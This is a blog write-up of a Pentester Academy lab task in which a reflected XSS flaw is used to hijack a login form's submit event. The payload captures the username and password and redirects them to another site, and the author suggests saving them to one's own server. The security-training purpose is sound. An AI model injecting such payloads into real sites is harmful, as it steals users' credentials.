XSS - Hijacking a form submit: JS for Pentesters task 3 write up

Oct 23, 2014 • jsp, javascript, security-tube, xss

Pentester Academy (under Securitytube) is one of the great infosec resources for people who wanted to take their skills to the next level. JavaScript for Pentesters is one of the latest courses by pentester academy which has over 21 challenges with varying difficulty. We will be updating the blog with the write-ups of each of them as we crack it.

Lately, we have solved JS for Pentesters task 1 and task 2. Now this is task 3 which is a bit more challenging task that we did before. Let us see what the challenge is:

JS For Pentesters Task 3

There is a simple login form which accepts a username and a password. Our objective is to Post the Username and Password to Attacker Controlled Server. It is also given that the form is vulnerable to XSS attacks via the URL parameter. As always, lets start Pentesting the form with first trying out an alert box to confirm that it is vulnerable to reflected XSS attacks. So lets us try to inject an alert box in to url parameter.


So after injecting, the URL looks something like this:


If you execute that URL, you can see an alert box which means we are on the right track. The next thing is see how can we post this to attacker server when the user clicks on Signin. The best way to do that is to use an onsubmit event handler in JavaScript. Theoretically what we should do is that after entering the username and the password, the user will click signin and at that time, our event handler should execute and post the content to a server that we control so that we can see the username/password combination in plain text.

In this task either you can run your own HTTP server which can capture the username/pass or you can redirect the user to another site and try to login with the same credentials that user enters (that can be fun I guess :)  ). So the first thing to do is to add an event handler to the onsubmit button. When you take a peek at the source code of the challenge, you can see that there is only 1 form present in the source (which makes our tasks much easier)

So first what we will do is to select the form and add an onsubmit event handler and make it execute a function which copy the credentials entered by the user and will post it to the attacker server (or any link we want). So the payload looks like this:

    function intercept() {
    var user = document.forms[0].elements[0].value;
    var pass = document.forms[0].elements[1].value;
    window.location.replace("http://pentesteracademylab.appspot.com/lab/webapp/1?email=" + user + "&password=" + pass);
    return false;
    document.forms[0].onsubmit = intercept;

Lets see how it works. It will select the form we need with document.forms[0] and will add an onsubmit event to it which will trigger a function called intercept when submit action takes place. Inside the intercept function, we are saving the username:password that user entered to 2 new variables namely user:pass by accessing form elements. Then I used the window.location.replace which works like an HTTP redirect will actually redirect the user to a new page with the credentials entered by the user.

In above payload, I am redirecting user to Pentester Academy WAP challenge 1: Form Bruteforce link and will submit the username:password to it. As you can see from my write about the same WAP Challenge, you can know that the username:password  combination for WAP challenge 1 is [email protected]:zzzxy. After injecting the above payload into the task 3 via URL parameter, if you enter the credentials as [email protected]:zzzxy, it will redirect you to WAP challenge 1 success web page and shows that challenge has been successfully completed.


1) I did the above redirection just for a fun part. You can modify the payload so that the user entered credentials could be saved to your server.

2) You have to URL encode the payload before the injection via the url parameter or else this will fail to work (I spend a huge time figuring out why the payload is not working, the reason was I was not encoding before injecting it)

3) It is always recommended to try out the challenge in Mozilla FireFox and not in Google chrome because chrome has an inbuilt XSS Auditor which will stop the payload from executing.

4) The solutions written above is the way we cracked the problem which might be different from the solution videos provided by the SecurityTube. If you need the solution video, you have to subscribe to PentesterAcademy.

Anirudh Anand

Security Engineer @flipkart | Web Application Security ♥ | Google, Microsoft, Zendesk, Gitlab Hall of Fames | Blogger | CTF lover - @teambi0s | certs - eWDP, OSCP